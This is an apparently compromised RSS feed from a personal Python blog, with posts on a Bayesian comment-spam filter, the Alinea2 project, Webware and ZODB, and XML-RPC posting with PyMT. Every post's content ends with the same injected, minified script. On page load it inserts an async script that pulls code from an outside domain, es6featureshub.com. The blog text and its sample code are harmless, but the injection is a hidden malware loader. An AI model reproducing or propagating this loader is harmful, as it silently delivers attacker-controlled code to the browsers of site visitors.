<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; Blog</title>
	<atom:link href="http://www.larsen-b.com/tags/blog/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Howto to spam-protect your python-based blog with bayesian filter.</title>
		<link>http://www.larsen-b.com/Article/244.html</link>
		<comments>http://www.larsen-b.com/Article/244.html#comments</comments>
		<pubDate>Fri, 17 Nov 2006 19:57:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[bayesian]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[As severall people, I run into issue with some spammer using my comment system to spam, and post backlinks. (Even using some funny stuffs) I &#8216;m already using a good email spam filter: SpamBayes, so I decided to test bayesian &#8230; <a href="http://www.larsen-b.com/Article/244.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>As severall people, I run into issue with some spammer using my comment system to spam, and post backlinks. (Even using some funny <a class="reference" href="http://www.larsen-b.com/Article/239.html">stuffs</a>)</p>
<p>I &#8216;m already using a good email spam filter: <a class="reference" href="http://www.larsen-b.com/Article/112.html">SpamBayes</a>, so I decided to test bayesian filtering for the spam on this blog too.</p>
<p>I decided to give <a class="reference" href="http://divmod.org/trac/">Reverend</a> a try:</p>
<pre class="literal-block">from reverend.thomas import Bayes

SPAM_DB='spam.bayes'
guesser = Bayes()

# load the spam DB
try:
    guesser.load(SPAM_DB)
except IOError:
    print "Creating a new spam filter database"
    guesser.save(SPAM_DB)

def train_spam(text):
    guesser.train('spam',text)
    guesser.save(SPAM_DB)

def train_ham(text):
    guesser.train('ham',text)
    guesser.save(SPAM_DB)

# try to guess the spam / ham ratio of a text
def guess(text):
    spam = 0
    ham = 0
    value = guesser.guess(text)
    for o in value:
        if o[0] == 'ham': ham = o[1]
        if o[0] == 'spam': spam = o[1]
    return (ham,spam)</pre>
<p>Small, and really simple module no ? The next step, simply add a &#8216;spam&#8217; and &#8216;ham&#8217; attributes on your comment post. And add two methods to train the comment as a spam or a ham.. And of course, only display comments which have a good ratio ( &gt;1) ham/spam. This took me about 1 hour to implement&#8230;</p>
<p>After a week, of train, this is working very fine, not a single false positive, and it filter every spam since the first trains. As I get around 20 spams post per day, this is quite a good news ;)</p>
<p><strong>Enjoy Bayesian ?</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/244.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Alinea 2</title>
		<link>http://www.larsen-b.com/Article/162.html</link>
		<comments>http://www.larsen-b.com/Article/162.html#comments</comments>
		<pubDate>Sat, 02 Oct 2004 15:55:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ok let&#8217;s go. I&#8217;m working on Alinea2 right now. Alinea is the stuff that power this website and others. I&#8217;ll hope to get it working quickly. Beside, this is a big work.. I loose my time with CSS hacking right &#8230; <a href="http://www.larsen-b.com/Article/162.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Ok let&#8217;s go. I&#8217;m working on Alinea2 right now. Alinea is the stuff that power this website and others. I&#8217;ll hope to get it working quickly.</p>
<p>Beside, this is a big work.. I loose my time with CSS hacking right now ! I guess I should stop this but .. i don&#8217;t.</p>
<pre class="literal-block">from AlineaLib import motivation
motivation.enable()</pre>
<p>Let&#8217;s go :)</p>
<p>You can find the whole stuff on <a class="reference" href="http://svn.pythonfr.org/">PythonFr SVN</a>.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/162.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>A new blog in Webware ?</title>
		<link>http://www.larsen-b.com/Article/63.html</link>
		<comments>http://www.larsen-b.com/Article/63.html#comments</comments>
		<pubDate>Tue, 09 Dec 2003 22:34:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Webware]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[While loosing some time over python blogs, i just found this blog written in Webware. This sound amaizing since i have already done several things like this, using ww and Modeling but i found that using a RDBDM for a &#8230; <a href="http://www.larsen-b.com/Article/63.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>While loosing some time over python blogs, i just found this <a class="reference" href="http://www.exit66.com/wk/Blog">blog</a> written in Webware.</p>
<p>This sound amaizing since i have already done several things like this, using ww and Modeling but i found that using a RDBDM for a little blog ( &lt; 1000 post) isn&#8217;t a good idea. Need a lot of works for DB management, developpement and lot of trouble for migration. In this other side, using plain old fashion text file isn&#8217;t a good way too since you can&#8217;t introduce feature easily .. and writing text file need a lot of work to take care about author and date and so on..</p>
<p>I finally conclude the best way to have something that is usefull ( as a long time process ) it to have a &#8216;object oriented&#8217; store backend. So i choose ZODB, but MetaKit can be a good challenger too.</p>
<p>Another thing that i found usefull in Zope, is the handly of URL. I don&#8217;t need to scratch my hairs playing w/ Apache Rewrite Rules .. and other stuff. I read recently that Webware is to be rewriten.. I hope the dev team will tray to fix this in webware too.</p>
<p>I really think that it should be possible to declare some kind of URL to be handled by a certain Webware Servlet. Perhaps using the same type &lt;=&gt; class mapping as Zope do.. This can of course done w/ Apache Rewrite but i don&#8217;t find this really nice, having to tweak apache config while i&#8217;m developping is awfull for me. ( Even using apache is a bit crudy for me ..)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/63.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Test Post from PyMT</title>
		<link>http://www.larsen-b.com/Article/30.html</link>
		<comments>http://www.larsen-b.com/Article/30.html#comments</comments>
		<pubDate>Tue, 21 Oct 2003 10:47:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[xmlrpc]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Using RPC for bloging is funny no ? In fact it&#8221;s really usefull to post thought email.. or console tools so This is my first post w/ XML-RPC mainly using PyMT check out: http://pymt.sf.net for more infos import PyMT mt &#8230; <a href="http://www.larsen-b.com/Article/30.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Using RPC for bloging is funny no ? In fact it&#8221;s really usefull to post thought email.. or console tools so</p>
<p>This is my first post w/ XML-RPC mainly using PyMT check out: <a class="reference" href="http://pymt.sf.net">http://pymt.sf.net</a> for more infos</p>
<pre class="literal-block">import PyMT
mt = PyMT.PyMT("http://larsen-b.com/cgi-bin/mt/mt-xmlrpc.cgi","user","xxxx")
p = {'title':'Test Post from PyMT','description':'This is my first post w/ XML-RPC mainly using  PyMT','categories':[] }
mt.newPost(1,p,1)</pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/30.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sending ad-hoc trackbacks with python</title>
		<link>http://www.larsen-b.com/Article/5.html</link>
		<comments>http://www.larsen-b.com/Article/5.html#comments</comments>
		<pubDate>Fri, 15 Aug 2003 19:50:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[http://roughingit.wari.org/python/tutor/sendingtrackback: Sending ad-hoc trackbacks with python]]></description>
				<content:encoded><![CDATA[<p><a class="reference" href="http://roughingit.wari.org/python/tutor/sendingtrackback">http://roughingit.wari.org/python/tutor/sendingtrackback</a>: Sending ad-hoc trackbacks with python<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/5.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Various blog system</title>
		<link>http://www.larsen-b.com/Article/4.html</link>
		<comments>http://www.larsen-b.com/Article/4.html#comments</comments>
		<pubDate>Fri, 15 Aug 2003 19:41:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[After a little search on google, i find this http://radio.weblogs.com/0100490/2003/04/10.html &#124; What do I need in a blogging tool?]]></description>
				<content:encoded><![CDATA[<p>After a little search on google, i find this</p>
<p><a class="reference" href="http://radio.weblogs.com/0100490/2003/04/10.html">http://radio.weblogs.com/0100490/2003/04/10.html</a> | What do I need in a blogging tool?<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/4.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
